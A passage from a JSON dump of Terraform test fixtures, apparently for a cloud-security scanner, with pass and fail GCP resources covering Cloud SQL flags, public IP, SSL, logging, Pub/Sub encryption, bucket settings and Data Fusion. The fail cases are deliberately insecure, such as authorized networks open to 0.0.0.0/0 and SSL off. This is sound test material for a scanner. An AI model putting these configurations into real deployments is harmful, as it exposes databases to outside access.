    "content": "\nresource \"google_sql_database_instance\" \"fail\" {\n  database_version = \"POSTGRES_15\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_statement\"\n      value = \"none\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"fail2\" {\n  database_version = \"POSTGRES_15\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass\" {\n  database_version = \"POSTGRES_15\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_statement\"\n      value = \"ddl\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass2\" {\n  database_version = \"POSTGRES_15\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_statement\"\n      value = \"mod\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass3\" {\n  database_version = \"POSTGRES_15\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_statement\"\n      value = \"all\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown\" {\n  name             = \"db\"\n  database_version = \"MYSQL_5_6\"\n  region           = \"us-central1\"\n  settings {\n    database_flags {\n      name  = \"local_infile\"\n      value = \"on\"\n    }\n    tier = \"db-custom-1-3840\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_CloudPubSubEncryptedWithCMK/main.tf",
    "content": "resource \"google_pubsub_topic\" \"fail\" {\n  name = \"example-topic\"\n  # kms_key_name = google_kms_crypto_key.crypto_key.id\n}\n\nresource \"google_pubsub_topic\" \"pass\" {\n  name         = \"example-topic\"\n  kms_key_name = google_kms_crypto_key.crypto_key.id\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_CloudSQLServerContainerDBAuthentication/main.tf",
    "content": "\nresource \"google_sql_database_instance\" \"fail\" {\n  database_version = \"SQLSERVER_2017_STANDARD\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    backup_configuration {\n      binary_log_enabled             = \"false\"\n      enabled                        = \"true\"\n      location                       = \"us\"\n      point_in_time_recovery_enabled = \"false\"\n      start_time                     = \"00:00\"\n    }\n\n    database_flags {\n      name  = \"cross db ownership chaining\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"contained database authentication\"\n      value = \"on\"\n    }\n\n    disk_autoresize = \"true\"\n    disk_size       = \"20\"\n    disk_type       = \"PD_SSD\"\n\n    ip_configuration {\n      ipv4_enabled    = \"false\"\n      private_network = \"projects/gcp-bridgecrew-deployment/global/networks/default\"\n      require_ssl     = \"false\"\n    }\n\n    location_preference {\n      zone = \"us-central1-a\"\n    }\n\n    maintenance_window {\n      day  = \"1\"\n      hour = \"0\"\n    }\n\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-4096\"\n  }\n}\n\n\nresource \"google_sql_database_instance\" \"pass\" {\n  database_version = \"SQLSERVER_2017_STANDARD\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    backup_configuration {\n      binary_log_enabled             = \"false\"\n      enabled                        = \"true\"\n      location                       = \"us\"\n      point_in_time_recovery_enabled = \"false\"\n      start_time                     = \"00:00\"\n    }\n\n    database_flags {\n      name  = \"cross db ownership chaining\"\n      value = \"off\"\n    }\n\n    database_flags {\n      name  = \"contained database authentication\"\n      value = \"off\"\n    }\n\n    disk_autoresize = \"true\"\n    disk_size       = \"20\"\n    disk_type       = \"PD_SSD\"\n\n    ip_configuration {\n      ipv4_enabled    = \"false\"\n      private_network = \"projects/gcp-bridgecrew-deployment/global/networks/default\"\n      require_ssl     = \"false\"\n    }\n\n    location_preference {\n      zone = \"us-central1-a\"\n    }\n\n    maintenance_window {\n      day  = \"1\"\n      hour = \"0\"\n    }\n\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-4096\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass2\" {\n  database_version = \"SQLSERVER_2017_STANDARD122\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    backup_configuration {\n      binary_log_enabled             = \"false\"\n      enabled                        = \"true\"\n      location                       = \"us\"\n      point_in_time_recovery_enabled = \"false\"\n      start_time                     = \"00:00\"\n    }\n\n    database_flags {\n      name  = \"cross db ownership chaining\"\n      value = \"on\"\n    }\n\n    database_flags {\n      name  = \"contained database authentication\"\n      value = \"off\"\n    }\n\n    disk_autoresize = \"true\"\n    disk_size       = \"20\"\n    disk_type       = \"PD_SSD\"\n\n    ip_configuration {\n      ipv4_enabled    = \"false\"\n      private_network = \"projects/gcp-bridgecrew-deployment/global/networks/default\"\n      require_ssl     = \"false\"\n    }\n\n    location_preference {\n      zone = \"us-central1-a\"\n    }\n\n    maintenance_window {\n      day  = \"1\"\n      hour = \"0\"\n    }\n\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-4096\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass3\" {\n  database_version = \"SQLSERVER_2017_STANDARD\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    backup_configuration {\n      binary_log_enabled             = \"false\"\n      enabled                        = \"true\"\n      location                       = \"us\"\n      point_in_time_recovery_enabled = \"false\"\n      start_time                     = \"00:00\"\n    }\n\n    disk_autoresize = \"true\"\n    disk_size       = \"20\"\n    disk_type       = \"PD_SSD\"\n\n    ip_configuration {\n      ipv4_enabled    = \"false\"\n      private_network = \"projects/gcp-bridgecrew-deployment/global/networks/default\"\n      require_ssl     = \"false\"\n    }\n\n    location_preference {\n      zone = \"us-central1-a\"\n    }\n\n    maintenance_window {\n      day  = \"1\"\n      hour = \"0\"\n    }\n\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-4096\"\n  }\n}\nresource \"google_sql_database_instance\" \"pass4\" {\n  database_version = \"SQLSERVER_2017_STANDARD\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    tier = \"db-custom-1-4096\"\n  }\n}\n\n\nresource \"google_sql_database_instance\" \"unknown\" {\n  name             = \"db\"\n  database_version = \"MYSQL_5_6\"\n  region           = \"us-central1\"\n  settings {\n    database_flags {\n      name  = \"local_infile\"\n      value = \"on\"\n    }\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown_var\" {\n    database_version = \"SQLSERVER_2017_STANDARD\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    backup_configuration {\n      binary_log_enabled             = \"false\"\n      enabled                        = \"true\"\n      location                       = \"us\"\n      point_in_time_recovery_enabled = \"false\"\n      start_time                     = \"00:00\"\n    }\n\n    database_flags = [\"${var.test_var}\"]\n\n    disk_autoresize = \"true\"\n    disk_size       = \"20\"\n    disk_type       = \"PD_SSD\"\n\n    ip_configuration {\n      ipv4_enabled    = \"false\"\n      private_network = \"projects/gcp-bridgecrew-deployment/global/networks/default\"\n      require_ssl     = \"false\"\n    }\n\n    location_preference {\n      zone = \"us-central1-a\"\n    }\n\n    maintenance_window {\n      day  = \"1\"\n      hour = \"0\"\n    }\n\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-4096\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_CloudSQLServerCrossDBOwnershipChaining/main.tf",
    "content": "\nresource \"google_sql_database_instance\" \"fail\" {\n  database_version = \"SQLSERVER_2017_STANDARD\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    backup_configuration {\n      binary_log_enabled             = \"false\"\n      enabled                        = \"true\"\n      location                       = \"us\"\n      point_in_time_recovery_enabled = \"false\"\n      start_time                     = \"00:00\"\n    }\n\n\n    database_flags {\n      name  = \"cross db ownership chaining\"\n      value = \"on\"\n    }\n\n    database_flags {\n      name  = \"contained database authentication\"\n      value = \"off\"\n    }\n\n    disk_autoresize = \"true\"\n    disk_size       = \"20\"\n    disk_type       = \"PD_SSD\"\n\n    ip_configuration {\n      ipv4_enabled    = \"false\"\n      private_network = \"projects/gcp-bridgecrew-deployment/global/networks/default\"\n      require_ssl     = \"false\"\n    }\n\n    location_preference {\n      zone = \"us-central1-a\"\n    }\n\n    maintenance_window {\n      day  = \"1\"\n      hour = \"0\"\n    }\n\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-4096\"\n  }\n}\n\n\nresource \"google_sql_database_instance\" \"pass3\" {\n  database_version = \"SQLSERVER_2017_STANDARD\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    backup_configuration {\n      binary_log_enabled             = \"false\"\n      enabled                        = \"true\"\n      location                       = \"us\"\n      point_in_time_recovery_enabled = \"false\"\n      start_time                     = \"00:00\"\n    }\n\n    database_flags {\n      name  = \"cross db ownership chaining\"\n      value = \"off\"\n    }\n\n    database_flags {\n      name  = \"contained database authentication\"\n      value = \"off\"\n    }\n\n    disk_autoresize = \"true\"\n    disk_size       = \"20\"\n    disk_type       = \"PD_SSD\"\n\n    ip_configuration {\n      ipv4_enabled    = \"false\"\n      private_network = \"projects/gcp-bridgecrew-deployment/global/networks/default\"\n      require_ssl     = \"false\"\n    }\n\n    location_preference {\n      zone = \"us-central1-a\"\n    }\n\n    maintenance_window {\n      day  = \"1\"\n      hour = \"0\"\n    }\n\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-4096\"\n  }\n}\n\n\nresource \"google_sql_database_instance\" \"pass2\" {\n  database_version = \"SQLSERVER_2017_STANDARD\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    backup_configuration {\n      binary_log_enabled             = \"false\"\n      enabled                        = \"true\"\n      location                       = \"us\"\n      point_in_time_recovery_enabled = \"false\"\n      start_time                     = \"00:00\"\n    }\n\n    database_flags {\n      name  = \"contained database authentication\"\n      value = \"off\"\n    }\n\n    disk_autoresize = \"true\"\n    disk_size       = \"20\"\n    disk_type       = \"PD_SSD\"\n\n    ip_configuration {\n      ipv4_enabled    = \"false\"\n      private_network = \"projects/gcp-bridgecrew-deployment/global/networks/default\"\n      require_ssl     = \"false\"\n    }\n\n    location_preference {\n      zone = \"us-central1-a\"\n    }\n\n    maintenance_window {\n      day  = \"1\"\n      hour = \"0\"\n    }\n\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-4096\"\n  }\n}\n\n\nresource \"google_sql_database_instance\" \"pass\" {\n  database_version = \"SQLSERVER_2017_STANDARD\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    tier = \"db-custom-1-4096\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown_var\" {\n  database_version = \"SQLSERVER_2017_STANDARD\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n   database_flags = [\"${var.test_var}\"]\n    tier = \"db-custom-1-4096\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_CloudSQLServerNoPublicIP/main.tf",
    "content": "\nresource \"google_sql_database_instance\" \"fail\" {\n  database_version = \"SQLSERVER_2017_STANDARD\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    backup_configuration {\n      binary_log_enabled             = \"false\"\n      enabled                        = \"true\"\n      location                       = \"us\"\n      point_in_time_recovery_enabled = \"false\"\n      start_time                     = \"00:00\"\n    }\n\n    database_flags {\n      name  = \"cross db ownership chaining\"\n      value = \"on\"\n    }\n\n    database_flags {\n      name  = \"contained database authentication\"\n      value = \"on\"\n    }\n\n    disk_autoresize = true\n    disk_size       = \"20\"\n    disk_type       = \"PD_SSD\"\n\n    ip_configuration {\n      ipv4_enabled    = true\n      private_network = \"projects/gcp-bridgecrew-deployment/global/networks/default\"\n      require_ssl     = \"false\"\n    }\n\n    location_preference {\n      zone = \"us-central1-a\"\n    }\n\n    maintenance_window {\n      day  = \"1\"\n      hour = \"0\"\n    }\n\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-4096\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass\" {\n  database_version = \"SQLSERVER_2017_STANDARD\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    backup_configuration {\n      binary_log_enabled             = false\n      enabled                        = true\n      location                       = \"us\"\n      point_in_time_recovery_enabled = false\n      start_time                     = \"00:00\"\n    }\n\n\n    database_flags {\n      name  = \"cross db ownership chaining\"\n      value = \"off\"\n    }\n\n    database_flags {\n      name  = \"contained database authentication\"\n      value = \"off\"\n    }\n\n    disk_autoresize = true\n    disk_size       = \"20\"\n    disk_type       = \"PD_SSD\"\n\n    ip_configuration {\n      ipv4_enabled    = false\n      private_network = \"projects/gcp-bridgecrew-deployment/global/networks/default\"\n      require_ssl     = \"false\"\n    }\n\n    location_preference {\n      zone = \"us-central1-a\"\n    }\n\n    maintenance_window {\n      day  = \"1\"\n      hour = \"0\"\n    }\n\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-4096\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass2\" {\n  database_version = \"SQLSERVER_2017_STANDARD\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    backup_configuration {\n      binary_log_enabled             = false\n      enabled                        = true\n      location                       = \"us\"\n      point_in_time_recovery_enabled = false\n      start_time                     = \"00:00\"\n    }\n\n    disk_autoresize = true\n    disk_size       = \"20\"\n    disk_type       = \"PD_SSD\"\n    location_preference {\n      zone = \"us-central1-a\"\n    }\n\n    maintenance_window {\n      day  = \"1\"\n      hour = \"0\"\n    }\n\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-4096\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass3\" {\n  database_version = \"SQLSERVER_2017_STANDARD\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass4\" {\n  database_version = \"MYSQL_8_0\"\n  name             = \"mysql81\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    tier              = \"db-custom-1-3840\"\n    database_flags {\n      name  = \"night\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"local_infile\"\n      value = \"on\"\n    }\n\n\n    availability_type = \"ZONAL\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"fail_not_list\" {\n  database_version = \"SQLSERVER_2017_STANDARD\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    backup_configuration {\n      binary_log_enabled             = false\n      enabled                        = true\n      location                       = \"us\"\n      point_in_time_recovery_enabled = false\n      start_time                     = \"00:00\"\n    }\n\n\n    database_flags {\n      name  = \"cross db ownership chaining\"\n      value = \"off\"\n    }\n\n    database_flags {\n      name  = \"contained database authentication\"\n      value = \"off\"\n    }\n\n    disk_autoresize = true\n    disk_size       = \"20\"\n    disk_type       = \"PD_SSD\"\n\n    ip_configuration = {\n      ipv4_enabled    = true\n      private_network = \"projects/gcp-bridgecrew-deployment/global/networks/default\"\n      require_ssl     = \"false\"\n    }\n\n    location_preference {\n      zone = \"us-central1-a\"\n    }\n\n    maintenance_window {\n      day  = \"1\"\n      hour = \"0\"\n    }\n\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-4096\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_CloudSqlMajorVersion/main.tf",
    "content": "resource \"google_sql_database_instance\" \"fail\" {\n  provider = google-beta\n\n  name             = \"private-instance-${random_id.db_name_suffix.hex}\"\n  region           = \"us-central1\"\n  database_version = \"MYSQL_5_7\"\n\n  depends_on = [google_service_networking_connection.private_vpc_connection]\n\n  settings {\n    tier = \"db-f1-micro\"\n    ip_configuration {\n      ipv4_enabled    = false\n      private_network = google_compute_network.private_network.id\n    }\n  }\n}\nresource \"google_sql_database_instance\" \"pass\" {\n  provider = google-beta\n\n  name             = \"private-instance-${random_id.db_name_suffix.hex}\"\n  region           = \"us-central1\"\n  database_version = \"MYSQL_8_0\"\n\n  depends_on = [google_service_networking_connection.private_vpc_connection]\n\n  settings {\n    tier = \"db-f1-micro\"\n    ip_configuration {\n      ipv4_enabled    = false\n      private_network = google_compute_network.private_network.id\n    }\n  }\n}\n\nresource \"google_sql_database_instance\" \"fail2\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    ip_configuration {\n      require_ssl  = false\n      ipv4_enabled = true\n      authorized_networks {\n        value = \"108.12.12.0/24\"\n        name  = \"internal\"\n      }\n\n      authorized_networks {\n        value = \"0.0.0.0/0\"\n        name  = \"internet\"\n      }\n    }\n    backup_configuration {\n      enabled = false\n    }\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"99\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"fail4\" {\n  database_version = \"POSTGRES_17\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    ip_configuration {\n      require_ssl  = false\n      ipv4_enabled = true\n      authorized_networks {\n        value = \"108.12.12.0/24\"\n        name  = \"internal\"\n      }\n\n      authorized_networks {\n        value = \"0.0.0.0/0\"\n        name  = \"internet\"\n      }\n    }\n    backup_configuration {\n      enabled = false\n    }\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"99\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"fail3\" {\n  database_version = \"SQLSERVER_2019_STANDARD\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    backup_configuration {\n      binary_log_enabled             = false\n      enabled                        = false\n      location                       = \"us\"\n      point_in_time_recovery_enabled = false\n      start_time                     = \"00:00\"\n    }\n\n    database_flags {\n      name  = \"cross db ownership chaining\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"contained database authentication\"\n      value = \"on\"\n    }\n\n\n    disk_autoresize = \"true\"\n    disk_size       = \"20\"\n    disk_type       = \"PD_SSD\"\n\n    ip_configuration {\n      ipv4_enabled    = true\n      private_network = \"projects/gcp-bridgecrew-deployment/global/networks/default\"\n      require_ssl     = false\n      authorized_networks {\n        name  = \"theworld\"\n        value = \"0.0.0.0/0\"\n      }\n    }\n\n    location_preference {\n      zone = \"us-central1-a\"\n    }\n\n    maintenance_window {\n      day  = \"1\"\n      hour = \"0\"\n    }\n\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-4096\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass3\" {\n  database_version = \"SQLSERVER_2022_STANDARD\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    backup_configuration {\n      binary_log_enabled             = false\n      enabled                        = false\n      location                       = \"us\"\n      point_in_time_recovery_enabled = false\n      start_time                     = \"00:00\"\n    }\n\n    database_flags {\n      name  = \"cross db ownership chaining\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"contained database authentication\"\n      value = \"on\"\n    }\n\n\n    disk_autoresize = \"true\"\n    disk_size       = \"20\"\n    disk_type       = \"PD_SSD\"\n\n    ip_configuration {\n      ipv4_enabled    = true\n      private_network = \"projects/gcp-bridgecrew-deployment/global/networks/default\"\n      require_ssl     = false\n      authorized_networks {\n        name  = \"theworld\"\n        value = \"0.0.0.0/0\"\n      }\n    }\n\n    location_preference {\n      zone = \"us-central1-a\"\n    }\n\n    maintenance_window {\n      day  = \"1\"\n      hour = \"0\"\n    }\n\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-4096\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass4\" {\n  database_version = \"POSTGRES_18\"\n  name             = \"general-pos181\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    backup_configuration {\n      enabled = false\n    }\n\n    ip_configuration {\n      ipv4_enabled = true\n    }\n\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_CloudStorageSelfLogging/main.tf",
    "content": "# pass\n\nresource \"google_storage_bucket\" \"pass\" {\n  name     = \"example\"\n  location = \"EU\"\n\n  logging {\n    log_bucket = \"other.com\"\n  }\n}\n\n# fail\n\nresource \"google_storage_bucket\" \"fail\" {\n  name     = \"example.com\"\n  location = \"EU\"\n\n  logging {\n    log_bucket = \"example.com\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_CloudStorageVersioningEnabled/main.tf",
    "content": "\nresource \"google_storage_bucket\" \"fail\" {\n  name     = \"foo\"\n  location = \"EU\"\n\n  versioning = {\n    enabled = false\n  }\n}\n\nresource \"google_storage_bucket\" \"fail2\" {\n  name     = \"foo\"\n  location = \"EU\"\n}\n\nresource \"google_storage_bucket\" \"pass\" {\n  name     = \"foo\"\n  location = \"EU\"\n\n  versioning = {\n    enabled = true\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_DataFusionPrivateInstance/main.tf",
    "content": "resource \"google_data_fusion_instance\" \"fail\" {\n  provider = google-beta\n  name = \"my-instance\"\n  description = \"My Data Fusion instance\"\n  region = \"us-central1\"\n  type = \"BASIC\"\n  enable_stackdriver_logging = true\n  enable_stackdriver_monitoring = true\n  labels = {\n    example_key = \"example_value\"\n  }\n  network_config {\n    network = \"default\"\n    ip_allocation = \"10.89.48.0/22\"\n  }\n  version = \"6.3.0\"\n  dataproc_service_account = data.google_app_engine_default_service_account.default.email\n}\n\nresource \"google_data_fusion_instance\" \"pass\" {\n  provider = google-beta\n  name = \"my-instance\"\n  description = \"My Data Fusion instance\"\n  region = \"us-central1\"\n  type = \"BASIC\"\n  enable_stackdriver_logging = true\n  enable_stackdriver_monitoring = true\n  labels = {\n    example_key = \"example_value\"\n  }\n  private_instance = true\n  network_config {\n    network = \"default\"\n    ip_allocation = \"10.89.48.0/22\"\n  }\n  version = \"6.3.0\"\n  dataproc_service_account = data.google_app_engine_default_service_account.default.email\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_DataFusionStackdriverLogs/main.tf",
    "content": "resource \"google_data_fusion_instance\" \"pass\" {\n  project                       = \"examplea\"\n  provider                      = google-beta\n  name                          = \"my-instance\"\n  description                   = \"My Data Fusion instance\"\n  region                        = \"us-central1\"\n  type                          = \"BASIC\"\n   enable_stackdriver_logging    = true\n   enable_stackdriver_monitoring = true\n  labels = {\n    example_key = \"example_value\"\n  }\n  //private_instance = false\n  network_config {\n    network       = \"default\"\n    ip_allocation = \"10.89.48.0/22\"\n  }\n  version                  = \"6.3.0\"\n  dataproc_service_account = data.google_app_engine_default_service_account.default.email\n}\nresource \"google_data_fusion_instance\" \"fail\" {\n  project                       = \"examplea\"\n  provider                      = google-beta\n  name                          = \"my-instance\"\n  description                   = \"My Data Fusion instance\"\n  region                        = \"us-central1\"\n  type                          = \"BASIC\"\n  labels = {\n    example_key = \"example_value\"\n  }\n  //private_instance = false\n  network_config {\n    network       = \"default\"\n    ip_allocation = \"10.89.48.0/22\"\n  }\n  version                  = \"6.3.0\"\n  dataproc_service_account = data.google_app_engine_default_service_account.default.email\n}\nresource \"google_data_fusion_instance\" \"fail2\" {\n  project                       = \"examplea\"\n  provider                      = google-beta\n  name                          = \"my-instance\"\n  description                   = \"My Data Fusion instance\"\n  region                        = \"us-central1\"\n  type                          = \"BASIC\"\n   enable_stackdriver_logging    = false\n   enable_stackdriver_monitoring = false\n  labels = {\n    example_key = \"example_value\"\n  }\n  //private_instance = false\n  network_config {\n    network       = \"default\"\n    ip_allocation = \"10.89.48.0/22\"\n  }\n  version                  = \"6.3.0\"\n  dataproc_service_account = data.google_app_engine_default_service_account.default.email\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_DataFusionStackdriverMonitoring/main.tf",
